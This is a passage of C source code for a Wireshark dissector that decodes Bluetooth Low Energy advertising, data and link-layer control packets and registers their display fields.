ENC_LITTLE_ENDIAN);\n}\n\n\ndissect_ll_feature_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tdissect_feature_set(tree, tvb, offset+1);\n\t// proto_tree_add_item (tree, hf_btle_feature_set,\ttvb, offset+ 1, 8, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_feature_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tdissect_feature_set(tree, tvb, offset+1);\n\t// proto_tree_add_item (tree, hf_btle_feature_set,\ttvb, offset+ 1, 8, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_pause_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\n}\n\ndissect_ll_pause_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\n}\n\ndissect_ll_version_ind(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_tree_add_item (tree, hf_btle_bt_version,\t\ttvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item (tree, hf_btle_company_id,\t\ttvb, offset+ 2, 2, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item (tree, hf_btle_sub_version_num,\ttvb, offset+ 4, 2, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_reject_ind(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_tree_add_item (tree, hf_btle_error_code,\ttvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);\n}\n\nvoid\ndissect_ll_control(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, guint8 length)\n{\n\tguint8 ll_control_opcode;\n\t// proto_item* data_item;\n\tproto_item* control_item;\n\t// proto_tree* data_tree;\n\tproto_tree* control_tree;\n\n\t\n\tll_control_opcode = tvb_get_guint8(tvb, offset);\n\t\n\tcontrol_item =\tproto_tree_add_uint(tree, hf_btle_ll_control, tvb, offset, length, ll_control_opcode);\n\tcontrol_tree = \tproto_item_add_subtree(control_item, ett_ll_control);\n\t\t\t\t\tproto_tree_add_item(control_tree, hf_btle_ll_control_opcode, tvb, offset, 1, ENC_NA);\n\t// data_item =\t\tproto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset+1, length-1, ENC_NA);\n\t// data_tree = \tproto_item_add_subtree(data_item, ett_ll_control_data);\n\n\tif (ll_control_opcode <= 0x0d) {\n\t\tcol_add_fstr(pinfo->cinfo, COL_INFO, \"LL Control PDU: %s\",\n\t\t\t\tll_control_opcodes[ll_control_opcode].strptr);\n\n\t\tswitch (ll_control_opcode) {\n\t\t\tcase LL_CONNECTION_UPDATE_REQ:\n\t\t\t\tdissect_ll_conn_update_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_CHANNEL_MAP_REQ:\n\t\t\t\tdissect_ll_channel_map_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_TERMINATE_IND:\n\t\t\t\tdissect_ll_terminate_ind(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_ENC_REQ:\n\t\t\t\tdissect_ll_enc_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_ENC_RSP:\n\t\t\t\tdissect_ll_enc_rsp(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_START_ENC_REQ:\n\t\t\t\tdissect_ll_start_enc_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_START_ENC_RSP:\n\t\t\t\tdissect_ll_start_enc_rsp(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_UNKNOWN_RSP:\n\t\t\t\tdissect_ll_unknown_rsp(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_FEATURE_REQ:\n\t\t\t\tdissect_ll_feature_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_FEATURE_RSP:\n\t\t\t\tdissect_ll_feature_rsp(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_PAUSE_ENC_REQ:\n\t\t\t\tdissect_ll_pause_enc_req(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_PAUSE_ENC_RSP:\n\t\t\t\tdissect_ll_pause_enc_rsp(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_VERSION_IND:\n\t\t\t\tdissect_ll_version_ind(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tcase LL_REJECT_IND:\n\t\t\t\tdissect_ll_reject_ind(control_tree, tvb, offset);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t/* Impossible */\n\t\t\t\tbreak;\n\t\t}\n\t} else {\n\t\t\n\t\tcol_set_str(pinfo->cinfo, COL_INFO, \"LL Control PDU: unknown\");\n\t\tif (length > 1)\n\t\t\tproto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset + 1, length-1, ENC_LITTLE_ENDIAN);\n\t\texpert_add_info_format(pinfo, control_item, PI_SEQUENCE, PI_WARN, \"Unknown LL Control opcode\");\n\t}\n}\n\n/* dissect a packet */\nstatic void\ndissect_btle(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)\n{\n\tproto_item *btle_item, *pkthdr_item, *data_item, *length_item;\n\tproto_tree *btle_tree, *pkthdr_tree, *data_tree;\n\tint offset;\n\tguint32 aa;\n\tguint8 type, length;\n\tguint8 llid;\n\ttvbuff_t *pld_tvb;\n\n\t/*\n\t * FIXME\n\t * I have no idea what this does, but the L2CAP dissector segfaults\n\t * without it.\n\t */\n\tguint16 fake_acl_data;\n\n\t/* sanity check: length */\n\tif (tvb_length(tvb) > 0 && tvb_length(tvb) < 9)\n\t{\n\t\t/* bad length: too short */\n\t\t//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);\n\t}\n\t\n\t/* make entries in protocol column and info column on summary display */\n\tif (check_col(pinfo->cinfo, COL_PROTOCOL))\n\t\tcol_set_str(pinfo->cinfo, COL_PROTOCOL, \"Bluetooth LE\");\n\t\n\n\taa = tvb_get_letohl(tvb, 0);\n\n\t// advertising packet\n\tif (aa == ADV_AA) {\n\t\ttype = tvb_get_guint8(tvb, 4) & 0xf;\n\t\tlength = tvb_get_guint8(tvb, 5) & 0x3f;\n\t\t\n\t\tif ((guint)(length + 9) < tvb_length(tvb))\n\t\t{\n\t\t\t/* not supported before 1.11.0 */\n\t\t\t//expert_add_info(pinfo, NULL, &ei_btle_packet_too_long);\t\n\t\t} \n\t\telse if ((guint)(length + 9) > tvb_length(tvb))\n\t\t{\n\t\t\t/* not supported before 1.11.0 */\n\t\t\t//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);\n\t\t}\n\n\t\tif (check_col(pinfo->cinfo, COL_PROTOCOL))\n\t\t\tcol_set_str(pinfo->cinfo, COL_PROTOCOL, \"BLE ADV\");\n\t\t/* see if we are being asked for details */\n\t\tif (tree) {\n\n\t\t\t/* create display subtree for the protocol */\n\t\t\toffset = 0;\n\t\t\tbtle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN);\n\t\t\tbtle_tree = proto_item_add_subtree(btle_item, ett_btle);\n\n\t\t\tproto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN);\n\t\t\toffset += 4;\n\n\t\t\t/* packet header */\n\t\t\tpkthdr_item = proto_tree_add_item(btle_tree, hf_btle_pkthdr, tvb, offset, 2, ENC_LITTLE_ENDIAN);\n\t\t\tpkthdr_tree = proto_item_add_subtree(pkthdr_item, ett_btle_pkthdr);\n\n\t\t\tif (type == 0x1 || type == 0x3 || type == 0x5)\n\t\t\t{\n\t\t\t\tproto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_rx, tvb, offset * 8, 1, ENC_LITTLE_ENDIAN);\n\t\t\t}\n\t\t\tproto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_tx, tvb, offset * 8 + 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(pkthdr_tree, hf_btle_type, tvb, offset * 8 + 4, 4, ENC_LITTLE_ENDIAN);\n\t\t\toffset += 1;\n\n\t\t\tlength_item = proto_tree_add_item(pkthdr_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);\n\t\t\tif ((guint)(length + 9) < tvb_length(tvb))\n\t\t\t{\n\t\t\t\t//expert_add_info(pinfo, length_item, &ei_btle_packet_too_long);\t\n\t\t\t} \n\t\t\telse if ((guint)(length + 9) > tvb_length(tvb))\n\t\t\t{\n\t\t\t\t//expert_add_info(pinfo, length_item, &ei_btle_packet_too_short);\n\t\t\t}\n\t\t\t\n\t\t\toffset += 1;\n\n\t\t\tif (check_col(pinfo->cinfo, COL_INFO)) {\n\t\t\t\tif (type <= 0x6) {\n\t\t\t\t\tcol_set_str(pinfo->cinfo, COL_INFO, packet_types[type].strptr);\n\t\t\t\t} else {\n\t\t\t\t\tcol_set_str(pinfo->cinfo, COL_INFO, \"Unknown\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* payload */\n\t\t\tswitch (type) {\n\t\t\tcase 0x0: // ADV_IND\n\t\t\tcase 0x2: // ADV_NONCONN_IND\n\t\t\tcase 0x6: // ADV_SCAN_IND\n\t\t\t\tdissect_adv_ind_or_nonconn_or_scan(btle_tree, tvb, pinfo, offset, length - 6);\n\t\t\t\tbreak;\n\t\t\tcase 0x1: // ADV_DIRECT_IND\n\t\t\t\tdissect_adv_direct_ind(btle_tree, tvb, pinfo, offset);\n\t\t\t\tbreak;\n\t\t\tcase 0x3:\n\t\t\t\tdissect_scan_req(btle_tree, tvb, pinfo, offset);\n\t\t\t\tbreak;\n\t\t\tcase 0x4: // SCAN_RSP\n\t\t\t\tdissect_scan_rsp(btle_tree, tvb, pinfo, offset, length - 6);\n\t\t\t\tbreak;\n\t\t\tcase 0x5: // CONNECT_REQ\n\t\t\t\tdissect_connect_req(btle_tree, tvb, pinfo, offset);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\toffset += length;\n\t\t\tproto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN);\n\t\t}\n\t}\n\n\t// data PDU\n\telse {\n\t\tif (check_col(pinfo->cinfo, COL_PROTOCOL))\n\t\t\tcol_set_str(pinfo->cinfo, COL_PROTOCOL, \"BLE Data\");\n\t\t\n\t\t\n\t\tlength = tvb_get_guint8(tvb, 5) & 0x3f;\n\t\t\n\t\tif ((guint)(length + 9) < tvb_length(tvb))\n\t\t{\n\t\t\t/* not supported before 1.11.0 */\n\t\t\t//expert_add_info(pinfo, NULL, &ei_btle_packet_too_long);\t\n\t\t} \n\t\telse if ((guint)(length + 9) > tvb_length(tvb))\n\t\t{\n\t\t\t/* not supported before 1.11.0 */\n\t\t\t//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);\n\t\t}\n\t\t\n\t\tif (tree) {\n\t\t\tcol_set_str(pinfo->cinfo, COL_INFO, \"Data\");\n\n\t\t\tlength = tvb_get_guint8(tvb, 5) & 0x1f;\n\n\t\t\t/* create display subtree for the protocol */\n\t\t\toffset = 0;\n\t\t\tbtle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN);\n\t\t\tbtle_tree = proto_item_add_subtree(btle_item, ett_btle);\n\n\t\t\tproto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN);\n\t\t\toffset += 4;\n\n\t\t\t// data PDU header\n\t\t\tdata_item = proto_tree_add_item(btle_tree, hf_btle_data, tvb, offset, 2, ENC_LITTLE_ENDIAN);\n\t\t\tdata_tree = proto_item_add_subtree(data_item, ett_btle_data);\n\n\t\t\tproto_tree_add_item(data_tree, hf_btle_data_rfu, tvb, offset, 1, ENC_NA);\n\t\t\tproto_tree_add_item(data_tree, hf_btle_data_md, tvb, offset, 1, ENC_NA);\n\t\t\tproto_tree_add_item(data_tree, hf_btle_data_sn, tvb, offset, 1, ENC_NA);\n\t\t\tproto_tree_add_item(data_tree, hf_btle_data_nesn, tvb, offset, 1, ENC_NA);\n\t\t\tproto_tree_add_item(data_tree, hf_btle_data_llid, tvb, offset, 1, ENC_NA);\n\t\t\tllid = tvb_get_guint8(tvb, offset) & 0x3;\n\t\t\toffset += 1;\n\n\t\t\tlength_item = proto_tree_add_item(data_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);\n\t\t\tif ((guint)(length + 9) < tvb_length(tvb))\n\t\t\t{\n\t\t\t\t/* not supported before 1.11.0 */\n\t\t\t\t//expert_add_info(pinfo, length_item, &ei_btle_packet_too_long);\t\n\t\t\t} \n\t\t\telse if ((guint)(length + 9) > tvb_length(tvb))\n\t\t\t{\n\t\t\t\t/* not supported before 1.11.0 */\n\t\t\t\t//expert_add_info(pinfo, length_item, &ei_btle_packet_too_short);\n\t\t\t}\n\t\t\toffset += 1;\n\n\t\t\t// LL control PDU\n\t\t\tif (llid == 0x3) {\n\t\t\t\tdissect_ll_control(btle_tree, tvb, pinfo, offset, length);\n\t\t\t}\n\n\t\t\t// L2CAP\n\t\t\telse if (llid == 0x1 || llid == 0x2) {\n\t\t\t\t\t\n\t\t\t\tif (length > 0 && btl2cap_handle) {\n\t\t\t\t\tpinfo->private_data = &fake_acl_data;\n\t\t\t\t\tpld_tvb = tvb_new_subset(tvb, offset, length, length);\n\t\t\t\t\t// call_dissector(btl2cap_handle, pld_tvb, pinfo, btle_tree);\n\t\t\t\t\tcall_dissector(btl2cap_handle, pld_tvb, pinfo, tree);\n\t\t\t\t}\n\t\t\t\telse if (length == 0) {\n\t\t\t\t\tcol_set_str(pinfo->cinfo, COL_INFO, \"Empty Data PDU\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t\toffset += length;\n\n\t\t\tproto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN);\n\t\t}\n\t}\n\n\treturn;\n}\n\n/* register the protocol with Wireshark */\nvoid\nproto_register_btle(void)\n{\n\n\t/* list of fields */\n\tstatic hf_register_info hf[] = {\n\t\t{ &hf_btle_aa,\n\t\t\t{ \"Access Address\", \"btle.aa\",\n\t\t\tFT_UINT32, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\n\t\t{ &hf_btle_pkthdr,\n\t\t\t{ \"Packet Header\", \"btle.pkthdr\",\n\t\t\tFT_NONE, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\n\t\t{ &hf_btle_type,\n\t\t\t{ \"TYPE\", \"btle.type\",\n\t\t\tFT_UINT8, BASE_HEX, VALS(packet_types), 0x0,\n\t\t\t\"Packet Type\", HFILL }\n\t\t},\n\t\t{ &hf_btle_randomized_tx,\n\t\t\t{ \"TX Address\", \"btle.tx_addr_flag\",\n\t\t\t// FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0,\n\t\t\tFT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_randomized_rx,\n\t\t\t{ \"RX Address\", \"btle.rx_addr_flag\",\n\t\t\t// FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0,\n\t\t\tFT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_length,\n\t\t\t{ \"Length\", \"btle.length\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_addr,\n\t\t\t{ \"Advertising Address\", \"btle.adv_addr\",\n\t\t\tFT_ETHER, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_init_addr,\n\t\t\t{ \"Init Address\", \"btle.init_addr\",\n\t\t\tFT_ETHER, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_scan_addr,\n\t\t\t{ \"Scan Address\", \"btle.scan_addr\",\n\t\t\tFT_ETHER, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data,\n\t\t\t{ \"Advertising Data\", \"btle.adv_data\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_scan_rsp_data,\n\t\t\t{ \"Scan Response Data\", \"btle.scan_rsp_data\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\n\t\t// connection packet fields\n\t\t{ &hf_btle_connect,\n\t\t\t{ \"Connection Request\", \"btle.connect\",\n\t\t\tFT_NONE, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_connect_aa,\n\t\t\t{ \"Connection Access Address\", \"btle.connect.aa\",\n\t\t\tFT_UINT32, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_crc_init,\n\t\t\t{ \"CRC Init\", \"btle.connect.crc_init\",\n\t\t\tFT_UINT24, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_win_size,\n\t\t\t{ \"Window Size (ms)\", \"btle.connect.win_size\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_win_offset,\n\t\t\t{ \"Window Offset (ms)\", \"btle.connect.win_offset\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_interval,\n\t\t\t{ \"Interval (ms)\", \"btle.connect.interval\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_min_interval,\n\t\t\t{ \"Minimum interval (ms)\", \"btle.connect.min_interval\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_max_interval,\n\t\t\t{ \"Maximum interval (ms)\", \"btle.connect.max_interval\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_latency,\n\t\t\t{ \"Latency\", \"btle.connect.latency\",\n\t\t\tFT_UINT16, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_timeout,\n\t\t\t{ \"Timeout (ms)\", \"btle.connect.timeout\",\n\t\t\tFT_UINT16, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_hop_interval,\n\t\t\t{ \"Hop interval\", \"btle.connect.hop_interval\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_sleep_clock_accuracy,\n\t\t\t{ \"Sleep Clock Accuracy\", \"btle.connect.sca\",\n\t\t\tFT_UINT8, BASE_DEC, VALS(sleep_clock_accuracy_values), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\n\t\t// data header\n\t\t{ &hf_btle_data,\n\t\t\t{ \"Data PDU Header\", \"btle.data\",\n\t\t\tFT_UINT16, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_data_llid,\n\t\t\t{ \"LLID\", \"btle.data.llid\",\n\t\t\tFT_UINT8, BASE_DEC, VALS(llid_codes), 0x3,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_data_nesn,\n\t\t\t{ \"NESN\", \"btle.data.nesn\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x4,\n\t\t\t\"Next Expected Sequence Number\", HFILL }\n\t\t},\n\t\t{ &hf_btle_data_sn,\n\t\t\t{ \"SN\", \"btle.data.sn\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x8,\n\t\t\t\"Sequence Number\", HFILL }\n\t\t},\n\t\t{ &hf_btle_data_md,\n\t\t\t{ \"MD\", \"btle.data.md\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x10,\n\t\t\t\"More Data\", HFILL }\n\t\t},\n\t\t{ &hf_btle_data_rfu,\n\t\t\t{ \"RFU\", \"btle.data.rfu\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0xe0,\n\t\t\t\"Reserved for Future Use (must be zero)\", HFILL }\n\t\t},\n\n\t\t{ &hf_btle_ll_control,\n\t\t\t{ \"LL Control PDU\", \"btle.ll_control\",\n\t\t\tFT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_opcode,\n\t\t\t{ \"LL Control Opcode\", \"btle.ll_control_opcode\",\n\t\t\tFT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_data,\n\t\t\t{ \"LL Control Data\", \"btle.ll_control_data\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\n\t\t{ &hf_btle_ll_control_ll_enc_req,\n\t\t\t{ \"Encryption Request\", \"btle.ll_enc_req\",\n\t\t\tFT_NONE, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_req_rand,\n\t\t\t{ \"Rand\", \"btle.ll_enc_req.rand\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_req_ediv,\n\t\t\t{ \"EDIV\", \"btle.ll_enc_req.ediv\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\t\"Encrypted Diversifier\", HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_req_skdm,\n\t\t\t{ \"SKDm\", \"btle.ll_enc_req.skdm\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\t\"Master's Session Key Identifier\", HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_req_ivm,\n\t\t\t{ \"IVm\", \"btle.ll_enc_req.ivm\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\t\"Master's Initialization Vector\", HFILL }\n\t\t},\n\n\t\t{ &hf_btle_ll_control_ll_enc_rsp,\n\t\t\t{ \"Encryption Response\", \"btle.ll_enc_rsp\",\n\t\t\tFT_NONE, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_rsp_skds,\n\t\t\t{ \"SKDs\", \"btle.ll_enc_rsp.skds\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\t\"Slave's Session Key Identifier\", HFILL }\n\t\t},\n\t\t{ &hf_btle_ll_control_ll_enc_rsp_ivs,\n\t\t\t{ \"IVs\", \"btle.ll_enc_rsp.ivs\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\t\"Slave's Initialization Vector\", HFILL }\n\t\t},\n\n\n\t\t{ &hf_btle_crc,\n\t\t\t{ \"CRC\", \"btle.crc\",\n\t\t\tFT_UINT24, BASE_HEX, NULL, 0x0,\n\t\t\t\"Cyclic Redundancy Check\", HFILL }\n\t\t},\n\t\t\n\t\t\n\t\t{ &hf_btle_instant,\n\t\t\t{ \"Instant field\", \"btle.instant\",\n\t\t\tFT_UINT16, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_channel_map,\n\t\t\t{ \"Channel map\", \"btle.map\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_enabled_channels,\n\t\t\t{ \"Enabled channels\", \"btle.enabled_channels\",\n\t\t\tFT_STRINGZ, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_error_code,\n\t\t\t{ \"Error code\", \"btle.error\",\n\t\t\tFT_UINT8, BASE_HEX, VALS(error_codes), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_unknown_type,\n\t\t\t{ \"Unknown type\", \"btle.unknown_type\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_feature_set,\n\t\t\t{ \"Feature set\", \"btle.feature_set\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_supported_feature,\n\t\t\t{ \"Supported feature\", \"btle.supported_feature\",\n\t\t\tFT_UINT8, BASE_DEC, VALS(le_features), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_unsupported_feature,\n\t\t\t{ \"Unsupported feature\", \"btle.unsupported_feature\",\n\t\t\tFT_UINT8, BASE_DEC, VALS(le_features), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_bt_version,\n\t\t\t{ \"Bletooth version\", \"btle.bluetooth_version\",\n\t\t\tFT_UINT8, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_company_id,\n\t\t\t{ \"Company ID\", \"btle.company_id\",\n\t\t\tFT_UINT16, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_sub_version_num,\n\t\t\t{ \"Sub-version number\", \"btle.sub_version_num\",\n\t\t\tFT_UINT16, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t\n\t\t\n\t\t\n\t\t{ &hf_btle_adv_data_attr,\n\t\t\t{ \"Attribute\", \"btle.adv_data.attr\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attr_type,\n\t\t\t{ \"type\", \"btle.adv_data.attr.type\",\n\t\t\tFT_UINT8, BASE_HEX, VALS(adv_data_attr_types), 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attr_length,\n\t\t\t{ \"length\", \"btle.adv_data.attr.length\",\n\t\t\tFT_UINT8, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attr_value,\n\t\t\t{ \"value (hex)\", \"btle.adv_data.attr.value\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attr_value_string,\n\t\t\t{ \"value (ASCII)\", \"btle.adv_data.attr.value_string\",\n\t\t\tFT_STRING, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_flags],\n\t\t\t{\"flags\", \"btle.adv_data.flags\",\n\t\t\tFT_UINT8, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_16b_uuids],\n\t\t\t{\"16 bit uuids (incomplete)\", \"btle.adv_data.inc_16b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_16b_uuids],\n\t\t\t{\"16 bit uuids (complete)\", \"btle.adv_data.com_16b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_32b_uuids],\n\t\t\t{\"32 bit uuids (incomplete)\", \"btle.adv_data.inc_32b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_32b_uuids],\n\t\t\t{\"32 bit uuids (complete)\", \"btle.adv_data.com_32b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_128b_uuids],\n\t\t\t{\"128 bit uuids (incomplete)\", \"btle.adv_data.inc_128b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_128b_uuids],\n\t\t\t{\"128 bit uuids (complete)\", \"btle.adv_data.com_128b_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL}\n\t\t},\n\t\t{ &hf_btle_128b_uuid,\n\t\t\t{\"128 bit uuid\", \"btle.128b_uuid\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 